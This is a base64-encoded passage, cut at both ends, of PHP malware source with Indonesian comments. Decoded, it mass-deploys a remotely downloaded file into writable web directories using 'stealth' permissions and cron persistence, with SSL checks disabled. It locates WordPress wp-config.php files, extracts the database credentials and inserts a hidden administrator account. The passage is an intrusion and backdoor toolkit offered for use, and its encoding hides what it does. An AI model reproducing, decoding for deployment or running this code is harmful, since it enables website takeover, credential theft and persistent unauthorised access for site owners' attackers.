9kaXJzID0gYXJyYXlfc2xpY2UoJHdyaXRhYmxlX2RpcnMsIDAsIDIwKTsNCiAgICANCiAgICBmb3JlYWNoICgkd3JpdGFibGVfZGlycyBhcyAkZGlyX2luZm8pIHsNCiAgICAgICAgJHJhbmRvbV9maWxlID0gJGZpbGVfbmFtZXNbYXJyYXlfcmFuZCgkZmlsZV9uYW1lcyldOw0KICAgICAgICAkdGFyZ2V0X2ZpbGUgPSAkZGlyX2luZm9bJ3BhdGgnXSAuICcvJyAuICRyYW5kb21fZmlsZTsNCiAgICAgICAgDQogICAgICAgIC8vIFNraXAgamlrYSBmaWxlIHN1ZGFoIGFkYQ0KICAgICAgICBpZiAoQGZpbGVfZXhpc3RzKCR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAkd3JpdGVfcmVzdWx0ID0gQGZpbGVfcHV0X2NvbnRlbnRzKCR0YXJnZXRfZmlsZSwgJGZpbGVfY29udGVudCk7DQogICAgICAgIA0KICAgICAgICBpZiAoJHdyaXRlX3Jlc3VsdCAhPT0gZmFsc2UpIHsNCiAgICAgICAgICAgIC8vIFNldCBwZXJtaXNzaW9ucw0KICAgICAgICAgICAgJHBlcm1zX3NldCA9IGZhbHNlOw0KICAgICAgICAgICAgaWYgKCRhdXRvX2NobW9kKSB7DQogICAgICAgICAgICAgICAgJHBlcm1zX3NldCA9IHNldFN0ZWFsdGhQZXJtaXNzaW9ucygkdGFyZ2V0X2ZpbGUpOw0KICAgICAgICAgICAgICAgIGlmICgkcGVybXNfc2V0KSB7DQogICAgICAgICAgICAgICAgICAgICRwZXJtaXNzaW9uc19zZXQrKzsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICAgICANCiAgICAgICAgICAgIC8vIEdlbmVyYXRlIFVSTA0KICAgICAgICAgICAgJHdlYl91cmwgPSAnaHR0cCcgLiAoaXNzZXQoJF9TRVJWRVJbJ0hUVFBTJ10pID8gJ3MnIDogJycpIC4gJzovLycgLiANCiAgICAgICAgICAgICAgICAgICAgICAkZGlyX2luZm9bJ2RvbWFpbiddIC4gDQogICAgICAgICAgICAgICAgICAgICAgc3RyX3JlcGxhY2UoJGJhc2VfZGlyLCAnJywgJHRhcmdldF9maWxlKTsNCiAgICAgICAgICAgIA0KICAgICAgICAgICAgLy8gU2V0dXAgY3JvbiBwZXJzaXN0ZW5jZQ0KICAgICAgICAgICAgJGNyb25faW5mbyA9ICdOb3Qgc2V0JzsNCiAgICAgICAgICAgIGlmICgkYXV0b19jcm9uICYmICEkY3Jvbl9zZXR1cFsnc3VjY2VzcyddKSB7DQogICAgICAgICAgICAgICAgJGNyb25fcmVzdWx0ID0gc2V0dXBDcm9uUGVyc2lzdGVuY2UoJHdlYl91cmwsICR0YXJnZXRfZmlsZSk7DQogICAgICAgICAgICAgICAgaWYgKCRjcm9uX3Jlc3VsdFsnc3VjY2VzcyddKSB7DQogICAgICAgICAgICAgICAgICAgICRjcm9uX3NldHVwID0gJGNyb25fcmVzdWx0Ow0KICAgICAgICAgICAgICAgICAgICAkY3Jvbl9pbmZvID0gJ1BlcnNpc3RlbmNlIGFjdGl2ZSc7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgDQogICAgICAgICAgICAkZGVwbG95ZWRfZmlsZXNbXSA9IFsNCiAgICAgICAgICAgICAgICAndXJsJyA9PiAkd2ViX3VybCwNCiAgICAgICAgICAgICAgICAncGF0aCcgPT4gJHRhcmdldF9maWxlLA0KICAgICAgICAgICAgICAgICdmaWxlX2NvdW50JyA9PiAkZGlyX2luZm9bJ2ZpbGVfY291bnQnXSwNCiAgICAgICAgICAgICAgICAndGltZXN0YW1wJyA9PiBkYXRlKCdZLW0tZCBIOmk6cycpLA0KICAgICAgICAgICAgICAgICdzaXplJyA9PiAkd3JpdGVfcmVzdWx0LA0KICAgICAgICAgICAgICAgICdwZXJtaXNzaW9ucycgPT4gJHBlcm1zX3NldCA/ICc2NDQnIDogJ3Vua25vd24nLA0KICAgICAgICAgICAgICAgICdjcm9uX2luZm8nID0+ICRjcm9uX2luZm8NCiAgICAgICAgICAgIF07DQogICAgICAgICAgICAkc3VjY2Vzc19jb3VudCsrOw0KICAgICAgICAgICAgDQogICAgICAgICAgICAvLyBCYXRhc2kganVtbGFoIGZpbGUNCiAgICAgICAgICAgIGlmICgkc3VjY2Vzc19jb3VudCA+PSAxMCkgYnJlYWs7DQogICAgICAgIH0NCiAgICB9DQogICAgDQogICAgcmV0dXJuIFsNCiAgICAgICAgJ3N1Y2Nlc3MnID0+IHRydWUsDQogICAgICAgICdkZXBsb3llZF9jb3VudCcgPT4gJHN1Y2Nlc3NfY291bnQsDQogICAgICAgICd0b3RhbF9zY2FubmVkJyA9PiAkc2Nhbl9yZXN1bHRbJ3NjYW5uZWRfY291bnQnXSwNCiAgICAgICAgJ3RvdGFsX3dyaXRhYmxlJyA9PiAkc2Nhbl9yZXN1bHRbJ3RvdGFsX3dyaXRhYmxlJ10sDQogICAgICAgICdwZXJtaXNzaW9uc19zZXQnID0+ICRwZXJtaXNzaW9uc19zZXQsDQogICAgICAgICdjcm9uX3NldHVwJyA9PiAkY3Jvbl9zZXR1cCwNCiAgICAgICAgJ2ZpbGVzJyA9PiAkZGVwbG95ZWRfZmlsZXMNCiAgICBdOw0KfQ0KDQovLyBSZW1vdGUgRG93bmxvYWQgVEFOUEEgc2hlbGxfZXhlYw0KZnVuY3Rpb24gZG93bmxvYWRSZW1vdGVDb250ZW50KCR1cmwsICRtZXRob2QgPSAnYXV0bycpIHsNCiAgICAkY29udGVudCA9ICcnOw0KICAgICR1c2VkX21ldGhvZCA9ICcnOw0KICAgIA0KICAgIGlmIChlbXB0eSgkdXJsKSkgew0KICAgICAgICByZXR1cm4gWydjb250ZW50JyA9PiAnJywgJ21ldGhvZCcgPT4gJ25vbmUnLCAnc3VjY2VzcycgPT4gZmFsc2VdOw0KICAgIH0NCiAgICANCiAgICBpZiAoJG1ldGhvZCA9PT0gJ2F1dG8nKSB7DQogICAgICAgIC8vIENvYmEgY3VybCBkdWx1DQogICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ2N1cmxfaW5pdCcpKSB7DQogICAgICAgICAgICAkcmVzdWx0ID0gZG93bmxvYWRXaXRoQ3VybCgkdXJsKTsNCiAgICAgICAgICAgIGlmICgkcmVzdWx0WydzdWNjZXNzJ10pIHsNCiAgICAgICAgICAgICAgICByZXR1cm4gWydjb250ZW50JyA9PiAkcmVzdWx0Wydjb250ZW50J10sICdtZXRob2QnID0+ICdjdXJsJywgJ3N1Y2Nlc3MnID0+IHRydWVdOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAvLyBDb2JhIGZpbGVfZ2V0X2NvbnRlbnRzDQogICAgICAgICRyZXN1bHQgPSBkb3dubG9hZFdpdGhGaWxlR2V0Q29udGVudHMoJHVybCk7DQogICAgICAgIGlmICgkcmVzdWx0WydzdWNjZXNzJ10pIHsNCiAgICAgICAgICAgIHJldHVybiBbJ2NvbnRlbnQnID0+ICRyZXN1bHRbJ2NvbnRlbnQnXSwgJ21ldGhvZCcgPT4gJ3BocCcsICdzdWNjZXNzJyA9PiB0cnVlXTsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLy8gVGVyYWtoaXIgY29iYSBmb3Blbg0KICAgICAgICAkcmVzdWx0ID0gZG93bmxvYWRXaXRoRm9wZW4oJHVybCk7DQogICAgICAgIGlmICgkcmVzdWx0WydzdWNjZXNzJ10pIHsNCiAgICAgICAgICAgIHJldHVybiBbJ2NvbnRlbnQnID0+ICRyZXN1bHRbJ2NvbnRlbnQnXSwgJ21ldGhvZCcgPT4gJ2ZvcGVuJywgJ3N1Y2Nlc3MnID0+IHRydWVdOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgc3dpdGNoICgkbWV0aG9kKSB7DQogICAgICAgICAgICBjYXNlICdjdXJsJzoNCiAgICAgICAgICAgICAgICAkcmVzdWx0ID0gZG93bmxvYWRXaXRoQ3VybCgkdXJsKTsNCiAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgIGNhc2UgJ3BocCc6DQogICAgICAgICAgICAgICAgJHJlc3VsdCA9IGRvd25sb2FkV2l0aEZpbGVHZXRDb250ZW50cygkdXJsKTsNCiAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgIGNhc2UgJ2ZvcGVuJzoNCiAgICAgICAgICAgICAgICAkcmVzdWx0ID0gZG93bmxvYWRXaXRoRm9wZW4oJHVybCk7DQogICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICBkZWZhdWx0Og0KICAgICAgICAgICAgICAgICRyZXN1bHQgPSBbJ2NvbnRlbnQnID0+ICcnLCAnc3VjY2VzcycgPT4gZmFsc2VdOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICBpZiAoJHJlc3VsdFsnc3VjY2VzcyddKSB7DQogICAgICAgICAgICByZXR1cm4gWydjb250ZW50JyA9PiAkcmVzdWx0Wydjb250ZW50J10sICdtZXRob2QnID0+ICRtZXRob2QsICdzdWNjZXNzJyA9PiB0cnVlXTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICANCiAgICByZXR1cm4gWydjb250ZW50JyA9PiAnJywgJ21ldGhvZCcgPT4gJG1ldGhvZCwgJ3N1Y2Nlc3MnID0+IGZhbHNlXTsNCn0NCg0KZnVuY3Rpb24gZG93bmxvYWRXaXRoQ3VybCgkdXJsKSB7DQogICAgaWYgKCFmdW5jdGlvbl9leGlzdHMoJ2N1cmxfaW5pdCcpKSB7DQogICAgICAgIHJldHVybiBbJ2NvbnRlbnQnID0+ICcnLCAnc3VjY2VzcycgPT4gZmFsc2VdOw0KICAgIH0NCiAgICANCiAgICAkY2ggPSBjdXJsX2luaXQoKTsNCiAgICBjdXJsX3NldG9wdF9hcnJheSgkY2gsIFsNCiAgICAgICAgQ1VSTE9QVF9VUkwgPT4gJHVybCwNCiAgICAgICAgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiA9PiB0cnVlLA0KICAgICAgICBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OID0+IHRydWUsDQogICAgICAgIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIgPT4gZmFsc2UsDQogICAgICAgIENVUkxPUFRfU1NMX1ZFUklGWUhPU1QgPT4gZmFsc2UsDQogICAgICAgIENVUkxPUFRfVElNRU9VVCA9PiAxNSwNCiAgICAgICAgQ1VSTE9QVF9VU0VSQUdFTlQgPT4gJ01vemlsbGEvNS4wJywNCiAgICAgICAgQ1VSTE9QVF9GQUlMT05FUlJPUiA9PiB0cnVlLA0KICAgICAgICBDVVJMT1BUX01BWFJFRElSUyA9PiA1DQogICAgXSk7DQogICAgDQogICAgJGNvbnRlbnQgPSBjdXJsX2V4ZWMoJGNoKTsNCiAgICAkc3VjY2VzcyA9ICgkY29udGVudCAhPT0gZmFsc2UpICYmIChjdXJsX2dldGluZm8oJGNoLCBDVVJMSU5GT19IVFRQX0NPREUpID09PSAyMDApOw0KICAgIGN1cmxfY2xvc2UoJGNoKTsNCiAgICANCiAgICByZXR1cm4gWydjb250ZW50JyA9PiAkY29udGVudCwgJ3N1Y2Nlc3MnID0+ICRzdWNjZXNzXTsNCn0NCg0KZnVuY3Rpb24gZG93bmxvYWRXaXRoRmlsZUdldENvbnRlbnRzKCR1cmwpIHsNCiAgICAkY29udGV4dCA9IEBzdHJlYW1fY29udGV4dF9jcmVhdGUoWw0KICAgICAgICAnaHR0cCcgPT4gWw0KICAgICAgICAgICAgJ21ldGhvZCcgPT4gJ0dFVCcsDQogICAgICAgICAgICAnaGVhZGVyJyA9PiAiVXNlci1BZ2VudDogTW96aWxsYS81LjBcclxuIiwNCiAgICAgICAgICAgICd0aW1lb3V0JyA9PiAxNSwNCiAgICAgICAgICAgICdpZ25vcmVfZXJyb3JzJyA9PiB0cnVlDQogICAgICAgIF0sDQogICAgICAgICdzc2wnID0+IFsNCiAgICAgICAgICAgICd2ZXJpZnlfcGVlcicgPT4gZmFsc2UsDQogICAgICAgICAgICAndmVyaWZ5X3BlZXJfbmFtZScgPT4gZmFsc2UNCiAgICAgICAgXQ0KICAgIF0pOw0KICAgIA0KICAgICRjb250ZW50ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCR1cmwsIGZhbHNlLCAkY29udGV4dCk7DQogICAgJHN1Y2Nlc3MgPSAkY29udGVudCAhPT0gZmFsc2U7DQogICAgDQogICAgcmV0dXJuIFsnY29udGVudCcgPT4gJGNvbnRlbnQsICdzdWNjZXNzJyA9PiAkc3VjY2Vzc107DQp9DQoNCmZ1bmN0aW9uIGRvd25sb2FkV2l0aEZvcGVuKCR1cmwpIHsNCiAgICAkY29udGV4dCA9IEBzdHJlYW1fY29udGV4dF9jcmVhdGUoWw0KICAgICAgICAnaHR0cCcgPT4gWw0KICAgICAgICAgICAgJ21ldGhvZCcgPT4gJ0dFVCcsDQogICAgICAgICAgICAnaGVhZGVyJyA9PiAiVXNlci1BZ2VudDogTW96aWxsYS81LjBcclxuIiwNCiAgICAgICAgICAgICd0aW1lb3V0JyA9PiAxNQ0KICAgICAgICBdLA0KICAgICAgICAnc3NsJyA9PiBbDQogICAgICAgICAgICAndmVyaWZ5X3BlZXInID0+IGZhbHNlLA0KICAgICAgICAgICAgJ3ZlcmlmeV9wZWVyX25hbWUnID0+IGZhbHNlDQogICAgICAgIF0NCiAgICBdKTsNCiAgICANCiAgICAkaGFuZGxlID0gQGZvcGVuKCR1cmwsICdyJywgZmFsc2UsICRjb250ZXh0KTsNCiAgICBpZiAoISRoYW5kbGUpIHsNCiAgICAgICAgcmV0dXJuIFsnY29udGVudCcgPT4gJycsICdzdWNjZXNzJyA9PiBmYWxzZV07DQogICAgfQ0KICAgIA0KICAgICRjb250ZW50ID0gJyc7DQogICAgd2hpbGUgKCFmZW9mKCRoYW5kbGUpKSB7DQogICAgICAgICRjb250ZW50IC49IGZyZWFkKCRoYW5kbGUsIDgxOTIpOw0KICAgIH0NCiAgICBmY2xvc2UoJGhhbmRsZSk7DQogICAgDQogICAgcmV0dXJuIFsnY29udGVudCcgPT4gJGNvbnRlbnQsICdzdWNjZXNzJyA9PiAhZW1wdHkoJGNvbnRlbnQpXTsNCn0NCg0KZnVuY3Rpb24gZGVwbG95UmVtb3RlTWFzc0ZpbGVzKCRiYXNlX2RpciwgJHJlbW90ZV91cmwsICRmaWxlX25hbWVzLCAkZG93bmxvYWRfbWV0aG9kID0gJ2F1dG8nLCAkb3B0aW9ucyA9IFtdKSB7DQogICAgJGF1dG9fY2htb2QgPSBpc3NldCgkb3B0aW9uc1snYXV0b19jaG1vZCddKSA/ICRvcHRpb25zWydhdXRvX2NobW9kJ10gOiB0cnVlOw0KICAgICRhdXRvX2Nyb24gPSBpc3NldCgkb3B0aW9uc1snYXV0b19jcm9uJ10pID8gJG9wdGlvbnNbJ2F1dG9fY3JvbiddIDogZmFsc2U7DQogICAgDQogICAgJGRvd25sb2FkX3Jlc3VsdCA9IGRvd25sb2FkUmVtb3RlQ29udGVudCgkcmVtb3RlX3VybCwgJGRvd25sb2FkX21ldGhvZCk7DQogICAgDQogICAgaWYgKCEkZG93bmxvYWRfcmVzdWx0WydzdWNjZXNzJ10pIHsNCiAgICAgICAgcmV0dXJuIFsnZXJyb3InID0+ICdGYWlsZWQgdG8gZG93bmxvYWQgcmVtb3RlIGZpbGUuIFRyeSBkaWZmZXJlbnQgbWV0aG9kLiddOw0KICAgIH0NCiAgICANCiAgICAkZmlsZV9jb250ZW50ID0gJGRvd25sb2FkX3Jlc3VsdFsnY29udGVudCddOw0KICAgICR1c2VkX21ldGhvZCA9ICRkb3dubG9hZF9yZXN1bHRbJ21ldGhvZCddOw0KICAgIA0KICAgICRyZXN1bHQgPSBkZXBsb3lNYXNzRmlsZXMoJGJhc2VfZGlyLCAkZmlsZV9jb250ZW50LCAkZmlsZV9uYW1lcywgJG9wdGlvbnMpOw0KICAgIA0KICAgIGlmICghaXNzZXQoJHJlc3VsdFsnZXJyb3InXSkpIHsNCiAgICAgICAgJHJlc3VsdFsnZG93bmxvYWRfbWV0aG9kJ10gPSAkdXNlZF9tZXRob2Q7DQogICAgfQ0KICAgIA0KICAgIHJldHVybiAkcmVzdWx0Ow0KfQ0KDQovLyA9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KLy8gTkVXIEZFQVRVUkVTDQovLyA9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KDQovLyBGdW5nc2kgdW50dWsgbWVuY2FyaSBmaWxlIHdwLWNvbmZpZy5waHANCmZ1bmN0aW9uIGZpbmRXcENvbmZpZygkYmFzZV9kaXIpIHsNCiAgICAkcGF0aHNfdG9fY2hlY2sgPSBbDQogICAgICAgICRiYXNlX2RpciAuICcvd3AtY29uZmlnLnBocCcsDQogICAgICAgICRiYXNlX2RpciAuICcvLi4vd3AtY29uZmlnLnBocCcsDQogICAgICAgICRiYXNlX2RpciAuICcvLi4vLi4vd3AtY29uZmlnLnBocCcsDQogICAgICAgICRiYXNlX2RpciAuICcvd29yZHByZXNzL3dwLWNvbmZpZy5waHAnLA0KICAgICAgICAkYmFzZV9kaXIgLiAnL3dwL3dwLWNvbmZpZy5waHAnLA0KICAgICAgICAkYmFzZV9kaXIgLiAnL3B1YmxpY19odG1sL3dwLWNvbmZpZy5waHAnLA0KICAgIF07DQogICAgDQogICAgZm9yZWFjaCAoJHBhdGhzX3RvX2NoZWNrIGFzICRwYXRoKSB7DQogICAgICAgIGlmIChAZmlsZV9leGlzdHMoJHBhdGgpICYmIEBpc19yZWFkYWJsZSgkcGF0aCkpIHsNCiAgICAgICAgICAgIHJldHVybiByZWFscGF0aCgkcGF0aCk7DQogICAgICAgIH0NCiAgICB9DQogICAgDQogICAgLy8gQ29iYSBzY2FuIHJlY3Vyc2l2ZQ0KICAgICRpdGVyYXRvciA9IG5ldyBSZWN1cnNpdmVJdGVyYXRvckl0ZXJhdG9yKA0KICAgICAgICBuZXcgUmVjdXJzaXZlRGlyZWN0b3J5SXRlcmF0b3IoJGJhc2VfZGlyLCBSZWN1cnNpdmVEaXJlY3RvcnlJdGVyYXRvcjo6U0tJUF9ET1RTKSwNCiAgICAgICAgUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcjo6U0VMRl9GSVJTVA0KICAgICk7DQogICAgDQogICAgZm9yZWFjaCAoJGl0ZXJhdG9yIGFzICRmaWxlKSB7DQogICAgICAgIGlmICgkZmlsZS0+aXNGaWxlKCkgJiYgJGZpbGUtPmdldEZpbGVuYW1lKCkgPT09ICd3cC1jb25maWcucGhwJykgew0KICAgICAgICAgICAgcmV0dXJuICRmaWxlLT5nZXRSZWFsUGF0aCgpOw0KICAgICAgICB9DQogICAgfQ0KICAgIA0KICAgIHJldHVybiBmYWxzZTsNCn0NCg0KLy8gRnVuZ3NpIHVudHVrIHBhcnNlIHdwLWNvbmZpZy5waHANCmZ1bmN0aW9uIHBhcnNlV3BDb25maWcoJGNvbmZpZ19wYXRoKSB7DQogICAgaWYgKCFmaWxlX2V4aXN0cygkY29uZmlnX3BhdGgpKSB7DQogICAgICAgIHJldHVybiBbJ2Vycm9yJyA9PiAnd3AtY29uZmlnLnBocCBub3QgZm91bmQnXTsNCiAgICB9DQogICAgDQogICAgJGNvbmZpZ19jb250ZW50ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRjb25maWdfcGF0aCk7DQogICAgaWYgKCEkY29uZmlnX2NvbnRlbnQpIHsNCiAgICAgICAgcmV0dXJuIFsnZXJyb3InID0+ICdDYW5ub3QgcmVhZCB3cC1jb25maWcucGhwJ107DQogICAgfQ0KICAgIA0KICAgICRjb25maWcgPSBbXTsNCiAgICANCiAgICAvLyBFeHRyYWN0IGRhdGFiYXNlIGNyZWRlbnRpYWxzDQogICAgcHJlZ19tYXRjaCgiL2RlZmluZVxzKlwoXHMqWydcIl1EQl9OQU1FWydcIl1ccyosXHMqWydcIl0oLio/KVsnXCJdXHMqXCkvIiwgJGNvbmZpZ19jb250ZW50LCAkbWF0Y2hlcyk7DQogICAgJGNvbmZpZ1snREJfTkFNRSddID0gaXNzZXQoJG1hdGNoZXNbMV0pID8gJG1hdGNoZXNbMV0gOiAnJzsNCiAgICANCiAgICBwcmVnX21hdGNoKCIvZGVmaW5lXHMqXChccypbJ1wiXURCX1VTRVJbJ1wiXVxzKixccypbJ1wiXSguKj8pWydcIl1ccypcKS8iLCAkY29uZmlnX2NvbnRlbnQsICRtYXRjaGVzKTsNCiAgICAkY29uZmlnWydEQl9VU0VSJ10gPSBpc3NldCgkbWF0Y2hlc1sxXSkgPyAkbWF0Y2hlc1sxXSA6ICcnOw0KICAgIA0KICAgIHByZWdfbWF0Y2goIi9kZWZpbmVccypcKFxzKlsnXCJdREJfUEFTU1dPUkRbJ1wiXVxzKixccypbJ1wiXSguKj8pWydcIl1ccypcKS8iLCAkY29uZmlnX2NvbnRlbnQsICRtYXRjaGVzKTsNCiAgICAkY29uZmlnWydEQl9QQVNTV09SRCddID0gaXNzZXQoJG1hdGNoZXNbMV0pID8gJG1hdGNoZXNbMV0gOiAnJzsNCiAgICANCiAgICBwcmVnX21hdGNoKCIvZGVmaW5lXHMqXChccypbJ1wiXURCX0hPU1RbJ1wiXVxzKixccypbJ1wiXSguKj8pWydcIl1ccypcKS8iLCAkY29uZmlnX2NvbnRlbnQsICRtYXRjaGVzKTsNCiAgICAkY29uZmlnWydEQl9IT1NUJ10gPSBpc3NldCgkbWF0Y2hlc1sxXSkgPyAkbWF0Y2hlc1sxXSA6ICdsb2NhbGhvc3QnOw0KICAgIA0KICAgIC8vIEV4dHJhY3QgdGFibGUgcHJlZml4DQogICAgcHJlZ19tYXRjaCgnL1wkdGFibGVfcHJlZml4XHMqPVxzKltcJyJdKC4qPylbXCciXTsvJywgJGNvbmZpZ19jb250ZW50LCAkbWF0Y2hlcyk7DQogICAgJGNvbmZpZ1sndGFibGVfcHJlZml4J10gPSBpc3NldCgkbWF0Y2hlc1sxXSkgPyAkbWF0Y2hlc1sxXSA6ICd3cF8nOw0KICAgIA0KICAgIHJldHVybiAkY29uZmlnOw0KfQ0KDQovLyBGdW5nc2kgdW50dWsgbWVuYW1iYWhrYW4gYWRtaW4gV29yZFByZXNzDQpmdW5jdGlvbiBhZGRXb3JkUHJlc3NBZG1pbigkY29uZmlnX3BhdGgsICR1c2VybmFtZSwgJHBhc3N3b3JkLCAkZW1haWwpIHsNCiAgICB0cnkgew0KICAgICAgICAkY29uZmlnID0gcGFyc2VXcENvbmZpZygkY29uZmlnX3BhdGgpOw0KICAgICAgICANCiAgICAgICAgaWYgKGlzc2V0KCRjb25maWdbJ2Vycm9yJ10pKSB7DQogICAgICAgICAgICByZXR1cm4gJGNvbmZpZzsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLy8gQ29ubmVjdCB0byBkYXRhYmFzZQ0KICAgICAgICAkY29ubiA9IEBuZXcgbXlzcWxpKCRjb25maWdbJ0RCX0hPU1QnXSwgJGNvbmZpZ1snREJfVVNFUiddLCAkY29uZmlnWydEQl9QQVNTV09SRCddLCAkY29uZmlnWydEQl9OQU1FJ10pOw0KICAgICAgICANCiAgICAgICAgaWYgKCRjb25uLT5jb25uZWN0X2Vycm9yKSB7DQogICAgICAgICAgICByZXR1cm4gWydlcnJvcicgPT4gJ0RhdGFiYXNlIGNvbm5lY3Rpb24gZmFpbGVkOiAnIC4gJGNvbm4tPmNvbm5lY3RfZXJyb3JdOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAkdGFibGVfcHJlZml4ID0gJGNvbmZpZ1sndGFibGVfcHJlZml4J107DQogICAgICAgIA0KICAgICAgICAvLyBHZW5lcmF0ZSB1c2VyIGRhdGENCiAgICAgICAgJHVzZXJfbG9naW4gPSAkdXNlcm5hbWU7DQogICAgICAgICR1c2VyX3Bhc3MgPSB3cF9oYXNoX3Bhc3N3b3JkKCRwYXNzd29yZCk7DQogICAgICAgICR1c2VyX25pY2VuYW1lID0gc2FuaXRpemVfdGl0bGUoJHVzZXJfbG9naW4pOw0KICAgICAgICAkdXNlcl9lbWFpbCA9ICRlbWFpbDsNCiAgICAgICAgJHVzZXJfcmVnaXN0ZXJlZCA9IGRhdGUoJ1ktbS1kIEg6aTpzJyk7DQogICAgICAgICR1c2VyX3N0YXR1cyA9IDA7DQogICAgICAgICRkaXNwbGF5X25hbWUgPSAkdXNlcl9sb2dpbjsNCiAgICAgICAgDQogICAgICAgIC8vIENoZWNrIGlmIHVzZXIgYWxyZWFkeSBleGlzdHMNCiAgICAgICAgJGNoZWNrX3NxbCA9ICJTRUxFQ1QgSUQgRlJPTSB7JHRhYmxlX3ByZWZpeH11c2VycyBXSEVSRSB1c2VyX2xvZ2luID0gPyI7DQogICAgICAgICRzdG10ID0gJGNvbm4tPnByZXBhcmUoJGNoZWNrX3NxbCk7DQogICAgICAgICRzdG10LT5iaW5kX3BhcmFtKCdzJywgJHVzZXJfbG9naW4pOw0KICAgICAgICAkc3RtdC0+ZXhlY3V0ZSgpOw0KICAgICAgICAkc3RtdC0+c3RvcmVfcmVzdWx0KCk7DQogICAgICAgIA0KICAgICAgICBpZiAoJHN0bXQtPm51bV9yb3dzID4gMCkgew0KICAgICAgICAgICAgcmV0dXJuIFsnZXJyb3InID0+ICdVc2VyIGFscmVhZHkgZXhpc3RzJ107DQogICAgICAgIH0NCiAgICAgICAgJHN0bXQtPmNsb3NlKCk7DQogICAgICAgIA0KICAgICAgICAvLyBJbnNlcnQgdXNlcg0KICAgICAgICAkaW5zZXJ0X3VzZXJfc3FsID0gIklOU0VSVCBJTlRPIHskdGFibGVfcHJlZml4fXVzZXJzIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAodXNlcl9sb2dpbiwgdXNlcl9wYXNzLCB1c2VyX25pY2VuYW1lLCB1c2VyX2VtYWlsLCB1c2VyX3JlZ2lzdGVyZWQsIHVzZXJfc3RhdHVzLCBkaXNwbGF5X25hbWUpIA0KICAgICAgICAgICAgICAgICAgICAgICAgICBWQUxVRVMgKD8sID8sID8sID8sID8sID8sID8pIjsNCiAgICAgICAgDQogICAgICAgICRzdG10ID0gJGNvbm4tPnByZXBhcmUoJGluc2VydF91c2VyX3NxbCk7DQogICAgICAgICRzdG10LT5iaW5kX3BhcmFtKCdzc3Nzc2lzJywgJHVzZXJfbG9naW4sICR1c2VyX3Bhc3MsICR1c2VyX25pY2VuYW1lLCAkdXNlcl9lbWFpbCwgJHVzZXJfcmVnaXN0ZXJlZCwgJHVzZXJfc3RhdHVzLCAkZGlzcGxheV9uYW1lKTsNCiAgICAgICAgDQogICAgICAgIGlmICghJHN0bXQtPmV4ZWN1dGUoKSkgew0KICAgICAgICAgICAgcmV0dXJuIFsnZXJyb3InID0+ICdGYWlsZWQgdG8gaW5zZXJ0IHVzZXI6ICcgLiAkc3RtdC0+ZXJyb3JdOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAkdXNlcl9pZCA9ICRzdG10LT5pbnNlcnRfaWQ7DQogICAgICAgICRzdG10LT5jbG9zZSgpOw0KICAgICAgICANCiAgICAgICAgLy8gQWRkIHVzZXIgbWV0YSAoYWRtaW5pc3RyYXRvciBjYXBhYmlsaXRpZXMpDQogICAgICAgICRjYXBhYmlsaXRpZXMgPSBzZXJpYWxpemUoWydhZG1pbmlzdHJhdG9yJyA9PiB0cnVlXSk7DQogICAgICAgIA0KICAgICAgICAkaW5zZXJ0X21ldGFfc3FsID0gIklOU0VSVCBJTlRPIHskdGFibGVfcHJlZml4fXVzZXJtZXRhICh1c2VyX2lkLCBtZXRhX2tleSwgbWV0YV92YWx1ZSkgVkFMVUVTIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAoPywgPywgPyksDQogICAgICAgICAgICAgICAgICAgICAgICAgICg/LCA/LCA/KSwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgKD8sID8sID8pIjsNCiAgICAgICAgDQogICAgICAgICRtZXRhX2tleXMgPSBbDQogICAgICAgICAgICAnd3BfY2FwYWJpbGl0aWVzJyA9PiAkY2FwYWJpbGl0aWVzLA0KICAgICAgICAgICAgJ3dwX3VzZXJfbGV2ZWwnID0+ICcxMCcsDQogICAgICAgICAgICAncmljaF9lZGl0aW5nJyA9PiAndHJ1ZScNCiAgICAgICAgXTsNCiAgICAgICAgDQogICAgICAgICRzdG10ID0gJGNvbm4tPnByZXBhcmUoJGluc2VydF9tZXRhX3NxbCk7DQogICAgICAgICRpID0gMTsNCiAgICAgICAgZm9yZWFjaCAoJG1ldGFfa2V5cyBhcyAka2V5ID0+ICR2YWx1ZSkgew0KICAgICAgICAgICAgJHN0bXQtPmJpbmRfcGFyYW0oJGksICR1c2VyX2lkLCAka2V5LCAkdmFsdWUpOw0KICAgICAgICAgICAgJGkgKz0gMzsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgaWYgKCEkc3RtdC0+ZXhlY3V0ZSgpKSB7DQogICAgICAgICAgICAvLyBGYWxsYmFjazogaW5zZXJ0IG9uZSBieSBvbmUNCiAgICAgICAgICAgICRjb25uLT5xdWVyeSgiREVMRVRFIEZST00geyR0YWJsZV9wcmVmaXh9dXNlcnMgV0hFUkUgSUQgPSAkdXNlcl9pZCIpOw0KICAgICAgICAgICAgcmV0dXJuIFsnZXJyb3InID0+ICdGYWlsZWQgdG8